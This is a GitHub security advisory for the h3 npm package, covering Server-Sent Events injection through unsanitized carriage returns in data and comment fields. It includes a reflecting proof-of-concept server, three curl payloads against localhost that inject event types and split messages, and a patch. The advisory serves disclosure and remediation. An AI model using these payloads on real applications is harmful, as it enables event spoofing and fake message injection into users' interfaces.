GHSA-4HXC-9384-M385
Vulnerability from github – Published: 2026-03-20 20:50 – Updated: 2026-03-20 20:50Summary
The EventStream class in h3 fails to sanitize carriage return (\r) characters in data and comment fields. Per the SSE specification, \r is a valid line terminator, so browsers interpret injected \r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed \n injection but missed \r-only injection.
Details
The prior fix in commit 7791538 added _sanitizeSingleLine() to strip \n and \r from id and event fields, and changed data formatting to split on \n. However, two code paths remain vulnerable:
1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193)
const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split("\n")) { // Only splits on \n, not \r
result += `data: ${line}\n`;
}
String.prototype.split("\n") does not split on \r. A string like "legit\revent: evil" remains as a single "line" and is emitted as:
data: legit\revent: evil\n
Per the SSE specification §9.2.6, \r alone is a valid line terminator. The browser parses this as two separate lines:
data: legit
event: evil
2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177)
export function formatEventStreamComment(comment: string): string {
return (
comment
.split("\n") // Only splits on \n, not \r
.map((l) => `: ${l}\n`)
.join("") + "\n"
);
}
The same split("\n") pattern means \r in comments is not handled. An input like "x\rdata: injected" produces:
: x\rdata: injected\n\n
Which the browser parses as a comment line followed by actual data:
: x
data: injected
Why _sanitizeSingleLine doesn't help
The _sanitizeSingleLine function at line 198 correctly strips both \r and \n:
function _sanitizeSingleLine(value: string): string {
return value.replace(/[\n\r]/g, "");
}
But it is only applied to id and event fields (lines 182, 185), not to data or comment.
PoC
Setup
Create a minimal h3 application that reflects user input into an SSE stream:
// server.mjs
import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";
const app = createApp();
app.use("/sse", defineEventHandler(async (event) => {
const stream = createEventStream(event);
const { msg } = getQuery(event);
// Simulates user-controlled input flowing to SSE (common in chat/AI apps)
await stream.push(String(msg));
setTimeout(() => stream.close(), 1000);
return stream.send();
}));
export default app;
Attack 1: Event type injection via \r in data
# Inject an "event: evil" directive via \r in data
curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil"
Expected (safe) wire output:
data: legit\revent: evil\n\n
Browser parses as:
data: legit
event: evil
The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers.
Attack 2: Message boundary injection (event splitting)
# Inject a message boundary (\r\r = empty line) to split one push() into two events
curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected"
Browser parses as two separate events:
1. Event 1: data: first
2. Event 2: data: injected
A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely.
Attack 3: Comment escape to data injection
# Inject via pushComment() — escape from comment into data
curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected"
Browser parses as:
: x (comment, ignored)
data: injected (real data, dispatched as event)
Impact
- Event spoofing: Attacker can inject arbitrary
event:types, causing browsers to dispatch events to differentEventSource.addEventListener()handlers than intended. In applications that use custom event types for control flow (e.g.,error,done,system), this enables UI manipulation. - Message boundary injection: A single
push()call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface. - Comment-to-data escalation: Data can be injected through what the application considers a harmless comment field via
pushComment(). - Bypass of existing security control: The prior fix (commit
7791538) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.
Recommended Fix
Both formatEventStreamMessage and formatEventStreamComment should split on \r, \n, and \r\n — matching the SSE spec's line terminator definition.
// src/utils/internal/event-stream.ts
// Add a shared regex for SSE line terminators
const SSE_LINE_SPLIT = /\r\n|\r|\n/;
export function formatEventStreamComment(comment: string): string {
return (
comment
.split(SSE_LINE_SPLIT) // was: .split("\n")
.map((l) => `: ${l}\n`)
.join("") + "\n"
);
}
export function formatEventStreamMessage(message: EventStreamMessage): string {
let result = "";
if (message.id) {
result += `id: ${_sanitizeSingleLine(message.id)}\n`;
}
if (message.event) {
result += `event: ${_sanitizeSingleLine(message.event)}\n`;
}
if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
result += `retry: ${message.retry}\n`;
}
const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split(SSE_LINE_SPLIT)) { // was: data.split("\n")
result += `data: ${line}\n`;
}
result += "\n";
return result;
}
This ensures all three SSE-spec line terminators (\r\n, \r, \n) are properly handled as line boundaries, preventing \r from being passed through to the browser where it would be interpreted as a line break.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.1-rc.16"
},
"package": {
"ecosystem": "npm",
"name": "h3"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-beta.0"
},
{
"fixed": "2.0.1-rc.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "h3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:50:38Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `EventStream` class in h3 fails to sanitize carriage return (`\\r`) characters in `data` and `comment` fields. Per the SSE specification, `\\r` is a valid line terminator, so browsers interpret injected `\\r` as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single `push()` call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit `7791538` which addressed `\\n` injection but missed `\\r`-only injection.\n\n## Details\n\nThe prior fix in commit `7791538` added `_sanitizeSingleLine()` to strip `\\n` and `\\r` from `id` and `event` fields, and changed `data` formatting to split on `\\n`. However, two code paths remain vulnerable:\n\n### 1. `data` field \u2014 `formatEventStreamMessage()` (`src/utils/internal/event-stream.ts:190-193`)\n\n```typescript\nconst data = typeof message.data === \"string\" ? message.data : \"\";\nfor (const line of data.split(\"\\n\")) { // Only splits on \\n, not \\r\n result += `data: ${line}\\n`;\n}\n```\n\n`String.prototype.split(\"\\n\")` does **not** split on `\\r`. A string like `\"legit\\revent: evil\"` remains as a single \"line\" and is emitted as:\n\n```\ndata: legit\\revent: evil\\n\n```\n\nPer the [SSE specification \u00a79.2.6](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation), `\\r` alone is a valid line terminator. The browser parses this as two separate lines:\n\n```\ndata: legit\nevent: evil\n```\n\n### 2. `comment` field \u2014 `formatEventStreamComment()` (`src/utils/internal/event-stream.ts:170-177`)\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n return (\n comment\n .split(\"\\n\") // Only splits on \\n, not \\r\n .map((l) =\u003e `: ${l}\\n`)\n .join(\"\") + \"\\n\"\n );\n}\n```\n\nThe same `split(\"\\n\")` pattern means `\\r` in comments is not handled. An input like `\"x\\rdata: injected\"` produces:\n\n```\n: x\\rdata: injected\\n\\n\n```\n\nWhich the browser parses as a comment line followed by actual data:\n\n```\n: x\ndata: injected\n```\n\n### Why `_sanitizeSingleLine` doesn\u0027t help\n\nThe `_sanitizeSingleLine` function at line 198 correctly strips both `\\r` and `\\n`:\n\n```typescript\nfunction _sanitizeSingleLine(value: string): string {\n return value.replace(/[\\n\\r]/g, \"\");\n}\n```\n\nBut it is **only applied to `id` and `event` fields** (lines 182, 185), not to `data` or `comment`.\n\n## PoC\n\n### Setup\n\nCreate a minimal h3 application that reflects user input into an SSE stream:\n\n```javascript\n// server.mjs\nimport { createApp, createEventStream, defineEventHandler, getQuery } from \"h3\";\n\nconst app = createApp();\n\napp.use(\"/sse\", defineEventHandler(async (event) =\u003e {\n const stream = createEventStream(event);\n const { msg } = getQuery(event);\n\n // Simulates user-controlled input flowing to SSE (common in chat/AI apps)\n await stream.push(String(msg));\n\n setTimeout(() =\u003e stream.close(), 1000);\n return stream.send();\n}));\n\nexport default app;\n```\n\n### Attack 1: Event type injection via `\\r` in data\n\n```bash\n# Inject an \"event: evil\" directive via \\r in data\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=legit%0Devent:%20evil\"\n```\n\n**Expected (safe) wire output:**\n```\ndata: legit\\revent: evil\\n\\n\n```\n\n**Browser parses as:**\n```\ndata: legit\nevent: evil\n```\n\nThe browser\u0027s `EventSource` fires a custom `evil` event instead of the default `message` event, potentially routing data to unintended handlers.\n\n### Attack 2: Message boundary injection (event splitting)\n\n```bash\n# Inject a message boundary (\\r\\r = empty line) to split one push() into two events\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected\"\n```\n\n**Browser parses as two separate events:**\n1. Event 1: `data: first`\n2. Event 2: `data: injected`\n\nA single `push()` call produces two distinct events in the browser \u2014 the attacker controls the second event\u0027s content entirely.\n\n### Attack 3: Comment escape to data injection\n\n```bash\n# Inject via pushComment() \u2014 escape from comment into data\ncurl -N --no-buffer \"http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected\"\n```\n\n**Browser parses as:**\n```\n: x (comment, ignored)\ndata: injected (real data, dispatched as event)\n```\n\n## Impact\n\n- **Event spoofing:** Attacker can inject arbitrary `event:` types, causing browsers to dispatch events to different `EventSource.addEventListener()` handlers than intended. In applications that use custom event types for control flow (e.g., `error`, `done`, `system`), this enables UI manipulation.\n- **Message boundary injection:** A single `push()` call can be split into multiple browser-side events. This breaks application-level framing assumptions \u2014 e.g., a chat message could appear as two messages, or an injected \"system\" message could appear in an AI chat interface.\n- **Comment-to-data escalation:** Data can be injected through what the application considers a harmless comment field via `pushComment()`.\n- **Bypass of existing security control:** The prior fix (commit `7791538`) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.\n\n## Recommended Fix\n\nBoth `formatEventStreamMessage` and `formatEventStreamComment` should split on `\\r`, `\\n`, and `\\r\\n` \u2014 matching the SSE spec\u0027s line terminator definition.\n\n```typescript\n// src/utils/internal/event-stream.ts\n\n// Add a shared regex for SSE line terminators\nconst SSE_LINE_SPLIT = /\\r\\n|\\r|\\n/;\n\nexport function formatEventStreamComment(comment: string): string {\n return (\n comment\n .split(SSE_LINE_SPLIT) // was: .split(\"\\n\")\n .map((l) =\u003e `: ${l}\\n`)\n .join(\"\") + \"\\n\"\n );\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n let result = \"\";\n if (message.id) {\n result += `id: ${_sanitizeSingleLine(message.id)}\\n`;\n }\n if (message.event) {\n result += `event: ${_sanitizeSingleLine(message.event)}\\n`;\n }\n if (typeof message.retry === \"number\" \u0026\u0026 Number.isInteger(message.retry)) {\n result += `retry: ${message.retry}\\n`;\n }\n const data = typeof message.data === \"string\" ? message.data : \"\";\n for (const line of data.split(SSE_LINE_SPLIT)) { // was: data.split(\"\\n\")\n result += `data: ${line}\\n`;\n }\n result += \"\\n\";\n return result;\n}\n```\n\nThis ensures all three SSE-spec line terminators (`\\r\\n`, `\\r`, `\\n`) are properly handled as line boundaries, preventing `\\r` from being passed through to the browser where it would be interpreted as a line break.",
"id": "GHSA-4hxc-9384-m385",
"modified": "2026-03-20T20:50:38Z",
"published": "2026-03-20T20:50:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/h3js/h3/security/advisories/GHSA-4hxc-9384-m385"
},
{
"type": "PACKAGE",
"url": "https://github.com/h3js/h3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "h3: SSE Event Injection via Unsanitized Carriage Return (`\\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.